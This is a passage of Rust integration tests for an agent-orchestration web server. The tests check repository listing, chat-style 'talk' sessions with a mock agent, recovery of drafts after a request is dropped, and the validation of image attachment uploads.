7885            assert_eq!(res.status, 422, "{roles}: {}", res.body);
7886            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7887            assert_eq!(
7888                std::fs::read_to_string(&machine).expect("machine"),
7889                machine_text
7890            );
7891        }
7892    }
7893
7894    #[tokio::test]
7895    async fn repos_list_returns_name_and_path_for_every_configured_root() {
7896        let tmp = TempDir::new().expect("tempdir");
7897        let repo = tmp.path().join("repo");
7898        std::fs::create_dir_all(&repo).expect("repo dir");
7899        let root = tmp.path().join("root");
7900        make_checkout(&root, "github.com", "yukimemi", "magi");
7901        std::fs::write(
7902            repo.join("magi.toml"),
7903            format!(
7904                "[repos]\nroots = [{:?}]\n",
7905                root.to_string_lossy().into_owned()
7906            ),
7907        )
7908        .expect("write magi.toml");
7909
7910        let f = Fixture::with_repo(repo).await;
7911        let res = f.get("/api/repos").await;
7912        assert_eq!(res.status, 200, "{}", res.body);
7913        let list = res.json();
7914        let repos = list.as_array().expect("an array");
7915        assert_eq!(repos.len(), 1);
7916        assert_eq!(repos[0]["name"], "yukimemi/magi");
7917        assert!(
7918            repos[0]["path"]
7919                .as_str()
7920                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7921            "{list}"
7922        );
7923    }
7924
7925    #[tokio::test]
7926    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7927        let tmp = TempDir::new().expect("tempdir");
7928        let repo = tmp.path().join("repo");
7929        std::fs::create_dir_all(&repo).expect("repo dir");
7930        let root = tmp.path().join("root");
7931        make_checkout(&root, "github.com", "yukimemi", "magi");
7932        std::fs::write(
7933            repo.join("magi.toml"),
7934            format!(
7935                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7936                root.to_string_lossy().into_owned()
7937            ),
7938        )
7939        .expect("write magi.toml");
7940
7941        let f = Fixture::with_repo(repo).await;
7942        let first = f.get("/api/repos").await;
7943        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7944
7945        // A second checkout appears; within the TTL the cached answer must
7946        // not notice it.
7947        make_checkout(&root, "github.com", "yukimemi", "rvpm");
7948        let second = f.get("/api/repos").await;
7949        assert_eq!(
7950            second.json().as_array().map(Vec::len),
7951            Some(1),
7952            "a fresh cache must not rescan inside the TTL"
7953        );
7954
7955        let refreshed = f.get("/api/repos?refresh=1").await;
7956        assert_eq!(
7957            refreshed.json().as_array().map(Vec::len),
7958            Some(2),
7959            "an explicit refresh must rescan even inside the TTL"
7960        );
7961    }
7962
7963    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
7964    /// string, declared straight in a repository's own `magi.toml` rather
7965    /// than the operator's real roster. No real agent CLI is spawned - `sh`
7966    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
7967    /// this is safe to run over a real HTTP round trip.
7968    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7969
7970    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
7971    /// real `Config::discover` to find an agent - `talk::begin` resolves one
7972    /// even though it takes no turn, and `talk_say` invokes one.
7973    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7974        let tmp = TempDir::new().expect("tempdir");
7975        let repo = tmp.path().join("repo");
7976        std::fs::create_dir_all(&repo).expect("repo dir");
7977        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7978        let f = Fixture::with_repo(repo.clone()).await;
7979        (tmp, repo, f)
7980    }
7981
7982    #[tokio::test]
7983    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7984        let (_tmp, _repo, f) = talk_fixture().await;
7985
7986        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
7987        // is the ordinary way a phone opens a talk.
7988        let opened = f.post("/api/talks", None).await;
7989        assert_eq!(opened.status, 201, "{}", opened.body);
7990        let body = opened.json();
7991        assert_eq!(body["status"], "open");
7992        assert_eq!(
7993            body["turns"].as_array().unwrap().len(),
7994            0,
7995            "opening takes no agent turn: there is nothing yet to answer"
7996        );
7997
7998        // An explicit empty object is the same request as none at all.
7999        let also_opened = f.post("/api/talks", Some("{}")).await;
8000        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8001
8002        let listed = f.get("/api/talks").await.json();
8003        assert_eq!(listed.as_array().unwrap().len(), 2);
8004    }
8005
8006    #[tokio::test]
8007    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8008        let tmp = TempDir::new().expect("tempdir");
8009        let repo = tmp.path().join("repo");
8010        std::fs::create_dir_all(&repo).expect("repo dir");
8011        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8012        std::fs::write(
8013            repo.join("magi.toml"),
8014            format!("{MOCK_AGENT_TOML}\n{second}"),
8015        )
8016        .expect("write magi.toml");
8017        let home = TempDir::new().expect("temp home");
8018        let talks = Talks::at(home.path().join("talks"));
8019        let ui = Arc::new(
8020            Ui::new(
8021                Queue::at(home.path().join("queue")),
8022                Questions::at(home.path().join("questions")),
8023                talks.clone(),
8024                home.path().join("runs"),
8025                home.path().to_path_buf(),
8026                repo.clone(),
8027            )
8028            .with_worktrees_root(home.path().join("wt")),
8029        );
8030        let cfg = config_for(&repo).await.expect("discover config");
8031        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8032        let id = talk.id.clone();
8033        let call = |agent: &str| {
8034            talk_agent(
8035                State(Arc::clone(&ui)),
8036                Path(id.clone()),
8037                Json(TalkAgent {
8038                    agent: agent.to_owned(),
8039                }),
8040            )
8041        };
8042
8043        let unknown = call("nobody").await.expect_err("unknown agent");
8044        assert_eq!(
8045            unknown.status,
8046            StatusCode::BAD_REQUEST,
8047            "{}",
8048            unknown.message
8049        );
8050
8051        {
8052            // The refused call hands its claim to a drain loop that releases
8053            // it a moment later.
8054            let mut claimed = None;
8055            for _ in 0..200 {
8056                claimed = ui.begin_talk_turn(&id).expect("claim");
8057                if claimed.is_some() {
8058                    break;
8059                }
8060                tokio::time::sleep(Duration::from_millis(10)).await;
8061            }
8062            let _busy = claimed.expect("free");
8063            let busy = call("second").await.expect_err("busy talk");
8064            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8065        }
8066        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8067
8068        let Json(view) = call("second").await.expect("switch");
8069        assert_eq!(view.talk.agent, "second");
8070        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8071        let saved = talks.get(&id).expect("reload");
8072        assert_eq!(saved.agent, "second");
8073        assert_eq!(saved.turns.len(), 1);
8074
8075        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8076            .await
8077            .expect("detail");
8078        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8079        assert_eq!(roster, ["mock", "second"]);
8080
8081        let mut closed = talks.get(&id).expect("reload");
8082        talk::close(&mut closed, &talks).expect("close");
8083        let refused = call("mock").await.expect_err("closed talk");
8084        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8085    }
8086
8087    #[tokio::test]
8088    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8089        let f = Fixture::start().await;
8090        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8091        let queue = f.queue();
8092        let mut mine = Task::new(
8093            "rename the loader".to_owned(),
8094            "rename the loader".to_owned(),
8095            PathBuf::from("/repo/magi"),
8096            Source::Agent {
8097                run: talk_id.clone(),
8098                node: "chat".to_owned(),
8099            },
8100        );
8101        queue.put(&mut mine).expect("file the task");
8102        let mut theirs = Task::new(
8103            "unrelated".to_owned(),
8104            "unrelated".to_owned(),
8105            PathBuf::from("/repo/magi"),
8106            Source::Human,
8107        );
8108        queue.put(&mut theirs).expect("file the task");
8109
8110        let res = f.get(&format!("/api/talks/{talk_id}")).await;
8111        assert_eq!(res.status, 200, "{}", res.body);
8112        let body = res.json();
8113        assert_eq!(
8114            body["status"], "open",
8115            "filing a task does not close a talk"
8116        );
8117        let tasks = body["tasks"].as_array().expect("tasks array");
8118        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8119        assert_eq!(tasks[0]["id"], mine.id);
8120    }
8121
8122    #[tokio::test]
8123    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8124        let (_tmp, _repo, f) = talk_fixture().await;
8125        let id = f.post("/api/talks", None).await.json()["id"]
8126            .as_str()
8127            .expect("id")
8128            .to_owned();
8129
8130        let res = f
8131            .post(
8132                &format!("/api/talks/{id}/say"),
8133                Some(r#"{"text":"what does the queue module do?"}"#),
8134            )
8135            .await;
8136        assert_eq!(res.status, 202, "{}", res.body);
8137        let queued = res.json();
8138        let turns = queued["turns"].as_array().expect("turns array");
8139        assert_eq!(
8140            turns.len(),
8141            1,
8142            "the answer reflects only what is on disk the instant it is sent, \
8143             before the agent's turn - which can run for the whole of \
8144             `[graph] timeout_talk` - has a chance to land: {queued}"
8145        );
8146        assert_eq!(turns[0]["who"], "operator");
8147        assert_eq!(turns[0]["body"], "what does the queue module do?");
8148        assert_eq!(
8149            queued["thinking"], true,
8150            "the accepted response exposes the background turn claim: {queued}"
8151        );
8152
8153        let mut turns_after = 1;
8154        for _ in 0..SETTLE_STEPS {
8155            let detail = f.get(&format!("/api/talks/{id}")).await.json();
8156            turns_after = detail["turns"].as_array().expect("turns array").len();
8157            if turns_after == 2 {
8158                break;
8159            }
8160            tokio::time::sleep(Duration::from_millis(10)).await;
8161        }
8162        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8163    }
8164
8165    /// A phone that reloads mid-request drops `talk_say`'s whole handler
8166    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
8167    /// guards against: `talk::record` used to return, and only *then* did the
8168    /// handler make a second, separate disk round trip before spawning the
8169    /// agent's reply task. A future dropped in that gap left a message
8170    /// recorded on disk with no reply task ever started and no way back short
8171    /// of a fresh message - and the gap was not even the whole story: *any*
8172    /// `.await` in this handler, including the very first one, is a point
8173    /// where a drop can land after the awaited work already finished but
8174    /// before this handler's own code resumes to act on it. `record` now
8175    /// runs inside the task `tokio::spawn` hands to the runtime before this
8176    /// handler ever awaits anything of its own again, so there is nothing
8177    /// left in *this* handler's future for a disconnect to interrupt between
8178    /// the message landing on disk and the reply task starting.
8179    ///
8180    /// A real socket disconnect cannot be relied on to land in the old gap
8181    /// from a test - over loopback, `talk_say` typically finishes before the
8182    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
8183    /// same failure mode directly: it drops the task's future at whatever
8184    /// point it has reached, exactly what axum does to the handler future,
8185    /// without needing to win a real network race. Sweeping the delay before
8186    /// aborting samples a range of points the task's execution can be at,
8187    /// including where the old code sat waiting on its second disk round
8188    /// trip - confirmed by reverting this fix locally and watching this same
8189    /// sweep catch a talk stuck with the operator's turn recorded and no
8190    /// reply ever following.
8191    #[tokio::test]
8192    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8193        let tmp = TempDir::new().expect("tempdir");
8194        let repo = tmp.path().join("repo");
8195        std::fs::create_dir_all(&repo).expect("repo dir");
8196        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8197        let home = TempDir::new().expect("temp home");
8198        let talks = Talks::at(home.path().join("talks"));
8199        let ui = Arc::new(
8200            Ui::new(
8201                Queue::at(home.path().join("queue")),
8202                Questions::at(home.path().join("questions")),
8203                talks.clone(),
8204                home.path().join("runs"),
8205                home.path().to_path_buf(),
8206                repo.clone(),
8207            )
8208            .with_worktrees_root(home.path().join("wt")),
8209        );
8210        let cfg = config_for(&repo).await.expect("discover config");
8211
8212        for delay in 0..40u32 {
8213            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8214            let id = talk.id.clone();
8215
8216            let handler = tokio::spawn(talk_say(
8217                State(Arc::clone(&ui)),
8218                Path(id.clone()),
8219                Ok(Json(NewTalkTurn {
8220                    text: "what does the queue module do?".to_owned(),
8221                    attachments: Vec::new(),
8222                })),
8223            ));
8224            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8225            handler.abort();
8226            // Wait out the abort so the next iteration's talk does not race
8227            // this one's still-unwinding turn guard.
8228            let _ = handler.await;
8229
8230            let mut turns = 0;
8231            for _ in 0..SETTLE_STEPS {
8232                if let Ok(fresh) = talks.get(&id) {
8233                    turns = fresh.turns.len();
8234                    if turns != 1 {
8235                        break;
8236                    }
8237                }
8238                tokio::time::sleep(Duration::from_millis(10)).await;
8239            }
8240            assert_ne!(
8241                turns, 1,
8242                "delay {delay}: talk {id} recorded the operator's turn but \
8243                 the agent never answered - the reply task was never \
8244                 started after the handler future was dropped"
8245            );
8246        }
8247    }
8248
8249    /// The same drop, landing on `talk_say`'s other durable write.
8250    ///
8251    /// When a turn is already running, the busy branch persists the
8252    /// operator's text as a queued draft and then reclaims the turn slot if
8253    /// the holder gave it up in the meantime - and whoever reclaims owes that
8254    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
8255    /// which finishes whether or not the future awaiting it is still there,
8256    /// so a handler dropped at that `.await` used to leave the draft written
8257    /// to disk with the reclaimed guard dropped unread and no drainer ever
8258    /// started: the message sat queued until some unrelated later `say`
8259    /// happened to pick it up.
8260    ///
8261    /// This used to drive the handler future by hand, polling it a fixed
8262    /// number of times to park it at the `.await` where it asks for the turn
8263    /// and finds it busy, before the reclaim's slot-free case could be set up
8264    /// underneath it. That assumed a fixed number of polls lands at a fixed
8265    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
8266    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
8267    /// poll, so any number of this handler's several `blocking` awaits can
8268    /// collapse into one poll under load, landing the drive somewhere other
8269    /// than intended - including, occasionally, straight past the handler's
8270    /// own completion, which made polling it again panic with "async fn
8271    /// resumed after completion". No poll count fixes that; the handler's
8272    /// progress simply is not something a caller outside it can observe by
8273    /// counting.
8274    ///
8275    /// [`BusyQueueGate`] replaces the poll count with a real stop point
8276    /// inside the write itself, so the interleaving under test is pinned by
8277    /// an event instead of a guess: the gate fires only once the handler has
8278    /// actually decided `Busy` and is about to persist the draft, and it
8279    /// blocks that write until the test lets it through. Between those two
8280    /// moments the test drains the turn the handler found busy - through
8281    /// `drain_loop`, the protocol's other half - and then aborts the handler
8282    /// task outright, the same way axum drops a disconnected request's
8283    /// future. The write, and the reclaim it may do, run to completion
8284    /// regardless: they live in the `tokio::spawn` task the busy branch hands
8285    /// to the runtime before ever touching the gate, wholly independent of
8286    /// whether the handler that started it is still around - which is what
8287    /// this test is actually checking. A drainer other than that reclaim
8288    /// cannot exist here: the test's own `drain_loop` call happens before the
8289    /// gate opens, so it runs while the queue is still empty and hands the
8290    /// turn straight back rather than draining anything, closing off the
8291    /// possibility of the final assertion passing without the reclaim ever
8292    /// having done its job.
8293    #[tokio::test]
8294    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8295        let tmp = TempDir::new().expect("tempdir");
8296        let repo = tmp.path().join("repo");
8297        std::fs::create_dir_all(&repo).expect("repo dir");
8298        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8299        let home = TempDir::new().expect("temp home");
8300        let talks = Talks::at(home.path().join("talks"));
8301        let ui = Arc::new(
8302            Ui::new(
8303                Queue::at(home.path().join("queue")),
8304                Questions::at(home.path().join("questions")),
8305                talks.clone(),
8306                home.path().join("runs"),
8307                home.path().to_path_buf(),
8308                repo.clone(),
8309            )
8310            .with_worktrees_root(home.path().join("wt")),
8311        );
8312        let cfg = config_for(&repo).await.expect("discover config");
8313
8314        for attempt in 0..3u32 {
8315            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8316            let id = talk.id.clone();
8317            // A turn is already running, which is what sends `talk_say` down
8318            // the busy branch.
8319            let turn_guard = ui
8320                .begin_talk_turn(&id)
8321                .expect("claim the turn")
8322                .expect("a fresh talk owes nobody a turn");
8323
8324            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8325            let (release_tx, release_rx) = std::sync::mpsc::channel();
8326            ui.set_busy_queue_gate(BusyQueueGate {
8327                reached: reached_tx,
8328                release: release_rx,
8329            });
8330
8331            let handler = tokio::spawn(talk_say(
8332                State(Arc::clone(&ui)),
8333                Path(id.clone()),
8334                Ok(Json(NewTalkTurn {
8335                    text: "what does the queue module do?".to_owned(),
8336                    attachments: Vec::new(),
8337                })),
8338            ));
8339
8340            // Wait for the busy branch to actually reach the gate, rather
8341            // than for any fixed number of polls of anything - a bounded
8342            // wait rather than a bare `.await` so a regression that never
8343            // reaches the gate fails the test instead of hanging it.
8344            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8345                .await
8346                .unwrap_or_else(|_| {
8347                    panic!(
8348                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8349                    )
8350                })
8351                .expect("the busy branch dropped the gate without using it");
8352
8353            // The turn that was running now finishes and gives the slot up
8354            // the way a real one does - through `drain_loop`, which finds
8355            // nothing queued yet (the write is still held at the gate) and
8356            // releases. The handler, parked inside `spawn_blocking` on the
8357            // other side of the gate, still believes the talk is busy -
8358            // exactly the interleaving the reclaim exists for.
8359            let running = talks.get(&id).expect("reload talk");
8360            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8361
8362            // Drop the handler future now, the way a reloading phone drops
8363            // it: suspended waiting on the busy branch's answer, having
8364            // itself made no more progress since it handed the write off.
8365            handler.abort();
8366            let _ = handler.await;
8367
8368            // Only now let the gated write proceed. It persists the draft
8369            // and reclaims the now-free slot from inside the task the busy
8370            // branch already spawned - unaffected by the handler's abort
8371            // above, since that task was independent of the handler's own
8372            // future from the moment it was spawned.
8373            let _ = release_tx.send(());
8374
8375            // A settled talk: the draft drained into an operator turn and
8376            // answered.
8377            let mut fresh = talks.get(&id).expect("reload talk");
8378            for _ in 0..SETTLE_STEPS {
8379                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8380                    break;
8381                }
8382                tokio::time::sleep(Duration::from_millis(10)).await;
8383                fresh = talks.get(&id).expect("reload talk");
8384            }
8385            assert!(
8386                fresh.pending.is_empty() && fresh.turns.len() == 2,
8387                "attempt {attempt}: talk {id} left the operator's text queued \
8388                 with no drainer - the reclaimed turn was dropped along with \
8389                 the handler future (pending {:?}, {} turns)",
8390                fresh.pending,
8391                fresh.turns.len()
8392            );
8393        }
8394    }
8395
8396    #[tokio::test]
8397    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8398        let (_tmp, _repo, f) = talk_fixture().await;
8399        let id = f.post("/api/talks", None).await.json()["id"]
8400            .as_str()
8401            .expect("id")
8402            .to_owned();
8403        let store = f.talks();
8404        let mut recovered = store.get(&id).expect("opened talk");
8405        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8406            .expect("persist pending draft without a live turn");
8407
8408        let edited = f
8409            .post(
8410                &format!("/api/talks/{id}/pending/edit"),
8411                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8412            )
8413            .await;
8414        assert_eq!(edited.status, 200, "{}", edited.body);
8415        assert!(edited.json()["thinking"].as_bool().unwrap());
8416
8417        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8418        for _ in 0..SETTLE_STEPS {
8419            if detail["turns"].as_array().expect("turns").len() == 2 {
8420                break;
8421            }
8422            tokio::time::sleep(Duration::from_millis(10)).await;
8423            detail = f.get(&format!("/api/talks/{id}")).await.json();
8424        }
8425        let turns = detail["turns"].as_array().expect("turns");
8426        assert_eq!(
8427            turns.len(),
8428            2,
8429            "the recovered draft must run once: {detail}"
8430        );
8431        assert_eq!(turns[0]["body"], "corrected");
8432        assert_eq!(detail["pending"], "");
8433    }
8434
8435    #[tokio::test]
8436    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8437        let tmp = TempDir::new().expect("tempdir");
8438        let repo = tmp.path().join("repo");
8439        std::fs::create_dir_all(&repo).expect("repo dir");
8440        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8441        let f = Fixture::with_repo(repo).await;
8442        let id = f.post("/api/talks", None).await.json()["id"]
8443            .as_str()
8444            .expect("id")
8445            .to_owned();
8446        let store = f.talks();
8447        let mut recovered = store.get(&id).expect("opened talk");
8448        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8449            .expect("persist pending draft without a live turn");
8450
8451        let refused = f
8452            .post(
8453                &format!("/api/talks/{id}/say"),
8454                Some(r#"{"text":"new message"}"#),
8455            )
8456            .await;
8457        assert_eq!(refused.status, 409, "{}", refused.body);
8458        assert!(refused.body.contains("resume"), "{}", refused.body);
8459        let saved = store.get(&id).expect("draft remains after refusal");
8460        assert!(saved.turns.is_empty());
8461        assert_eq!(saved.pending, "saved before restart");
8462
8463        let say_path = format!("/api/talks/{id}/say");
8464        let (first, second) = tokio::join!(
8465            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8466            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8467        );
8468        assert_eq!(first.status, 409, "{}", first.body);
8469        assert_eq!(second.status, 409, "{}", second.body);
8470        let saved = store
8471            .get(&id)
8472            .expect("draft remains after concurrent refusals");
8473        assert!(saved.turns.is_empty());
8474        assert_eq!(saved.pending, "saved before restart");
8475
8476        let resumed = f
8477            .post(&format!("/api/talks/{id}/pending/resume"), None)
8478            .await;
8479        assert_eq!(resumed.status, 202, "{}", resumed.body);
8480        let duplicate = f
8481            .post(&format!("/api/talks/{id}/pending/resume"), None)
8482            .await;
8483        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8484
8485        for _ in 0..SETTLE_STEPS {
8486            if store.get(&id).expect("talk").turns.len() == 2 {
8487                break;
8488            }
8489            tokio::time::sleep(Duration::from_millis(10)).await;
8490        }
8491        let finished = store.get(&id).expect("finished talk");
8492        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8493        assert_eq!(finished.turns[0].body, "saved before restart");
8494        assert!(finished.pending.is_empty());
8495    }
8496
8497    #[tokio::test]
8498    async fn an_image_only_recovered_draft_resumes_without_text() {
8499        let (_tmp, _repo, f) = talk_fixture().await;
8500        let id = f.post("/api/talks", None).await.json()["id"]
8501            .as_str()
8502            .expect("id")
8503            .to_owned();
8504        let uploaded = f
8505            .post_bytes(
8506                &format!("/api/talks/{id}/attachments"),
8507                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8508                PNG_BYTES,
8509            )
8510            .await;
8511        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8512        let attachment = f
8513            .talks()
8514            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8515            .expect("attachment metadata")
8516            .expect("stored attachment");
8517        let store = f.talks();
8518        let mut recovered = store.get(&id).expect("opened talk");
8519        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8520
8521        let resumed = f
8522            .post(&format!("/api/talks/{id}/pending/resume"), None)
8523            .await;
8524        assert_eq!(resumed.status, 202, "{}", resumed.body);
8525        for _ in 0..SETTLE_STEPS {
8526            if store.get(&id).expect("talk").turns.len() == 2 {
8527                break;
8528            }
8529            tokio::time::sleep(Duration::from_millis(10)).await;
8530        }
8531        let finished = store.get(&id).expect("finished talk");
8532        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8533        assert!(finished.turns[0].body.is_empty());
8534        assert_eq!(finished.turns[0].attachments.len(), 1);
8535        assert!(finished.pending_attachments.is_empty());
8536    }
8537
8538    #[tokio::test]
8539    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8540        let (_tmp, _repo, f) = talk_fixture().await;
8541        let id = f.post("/api/talks", None).await.json()["id"]
8542            .as_str()
8543            .expect("id")
8544            .to_owned();
8545        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8546        assert_eq!(closed.status, 200, "{}", closed.body);
8547        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8548            .expect("serialize closed talk");
8549        for (path, body) in [
8550            (format!("/api/talks/{id}/pending/resume"), None),
8551            (
8552                format!("/api/talks/{id}/pending/clear"),
8553                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8554            ),
8555            (
8556                format!("/api/talks/{id}/pending/edit"),
8557                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8558            ),
8559            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8560        ] {
8561            let response = f.post(&path, body).await;
8562            assert_eq!(response.status, 409, "{}", response.body);
8563        }
8564        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8565            .expect("serialize closed talk");
8566        assert_eq!(
8567            after_clear, before_clear,
8568            "clear must not rewrite a closed talk"
8569        );
8570    }
8571
8572    /// Keeps both claims observable long enough to exercise the distinction
8573    /// between one busy talk and a globally locked Chat surface.
8574    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8575
8576    #[tokio::test]
8577    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8578        let tmp = TempDir::new().expect("tempdir");
8579        let repo = tmp.path().join("repo");
8580        std::fs::create_dir_all(&repo).expect("repo dir");
8581        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8582        let f = Fixture::with_repo(repo).await;
8583        let id_a = f.post("/api/talks", None).await.json()["id"]
8584            .as_str()
8585            .unwrap()
8586            .to_owned();
8587        let id_b = f.post("/api/talks", None).await.json()["id"]
8588            .as_str()
8589            .unwrap()
8590            .to_owned();
8591
8592        let a = f
8593            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8594            .await;
8595        assert_eq!(a.status, 202, "{}", a.body);
8596        assert_eq!(a.json()["thinking"], true);
8597        let b = f
8598            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8599            .await;
8600        assert_eq!(b.status, 202, "{}", b.body);
8601        assert_eq!(b.json()["thinking"], true);
8602
8603        let listed = f.get("/api/talks").await.json();
8604        for id in [&id_a, &id_b] {
8605            let view = listed
8606                .as_array()
8607                .unwrap()
8608                .iter()
8609                .find(|talk| talk["id"] == *id)
8610                .unwrap();
8611            assert_eq!(view["thinking"], true, "{listed}");
8612        }
8613        let repeated = f
8614            .post(
8615                &format!("/api/talks/{id_a}/say"),
8616                Some(r#"{"text":"again"}"#),
8617            )
8618            .await;
8619        assert_eq!(repeated.status, 202, "{}", repeated.body);
8620        assert_eq!(repeated.json()["pending"], "again");
8621    }
8622
8623    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8624    /// few more, since real uploads are never exactly eight bytes.
8625    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8626
8627    #[tokio::test]
8628    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8629        let f = Fixture::start().await;
8630        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8631
8632        let res = f
8633            .post_bytes(
8634                &format!("/api/talks/{id}/attachments"),
8635                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8636                PNG_BYTES,
8637            )
8638            .await;
8639        assert_eq!(res.status, 201, "{}", res.body);
8640        let body = res.json();
8641        assert_eq!(body["name"], "shot.png");
8642        assert_eq!(body["mime"], "image/png");
8643        assert_eq!(body["bytes"], PNG_BYTES.len());
8644        let att_id = body["id"].as_str().expect("id").to_owned();
8645        assert_eq!(
8646            att_id.len(),
8647            32,
8648            "the id must never be a client-suppliable path: {att_id}"
8649        );
8650
8651        let got = f
8652            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8653            .await;
8654        assert_eq!(got.status, 200, "{}", got.body);
8655        assert_eq!(got.header("content-type"), Some("image/png"));
8656        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8657        assert_eq!(got.bytes, PNG_BYTES);
8658    }
8659
8660    #[tokio::test]
8661    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8662        let f = Fixture::start().await;
8663        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8664
8665        // SVG can carry a `<script>`, so it is never on the whitelist even
8666        // though it is a real IANA image type.
8667        let svg = f
8668            .post_bytes(
8669                &format!("/api/talks/{id}/attachments"),
8670                &[("Content-Type", "image/svg+xml")],
8671                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8672            )
8673            .await;
8674        assert!(
8675            (400..500).contains(&svg.status),
8676            "svg must be refused: {} {}",
8677            svg.status,
8678            svg.body
8679        );
8680        assert!(svg.body.contains("SVG"), "{}", svg.body);
8681
8682        let text = f
8683            .post_bytes(
8684                &format!("/api/talks/{id}/attachments"),
8685                &[("Content-Type", "text/plain")],
8686                b"just some text",
8687            )
8688            .await;
8689        assert!(
8690            (400..500).contains(&text.status),
8691            "an unlisted type must be refused: {} {}",
8692            text.status,
8693            text.body
8694        );
8695
8696        // The declared type is a real png, but the size check runs before
8697        // the bytes are even looked at.
8698        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8699        let big = f
8700            .post_bytes(
8701                &format!("/api/talks/{id}/attachments"),
8702                &[("Content-Type", "image/png")],
8703                &oversized,
8704            )
8705            .await;
8706        assert_eq!(
8707            big.status,
8708            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8709            "{}",
8710            big.body
8711        );
8712    }
8713
8714    #[tokio::test]
8715    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8716        let f = Fixture::start().await;
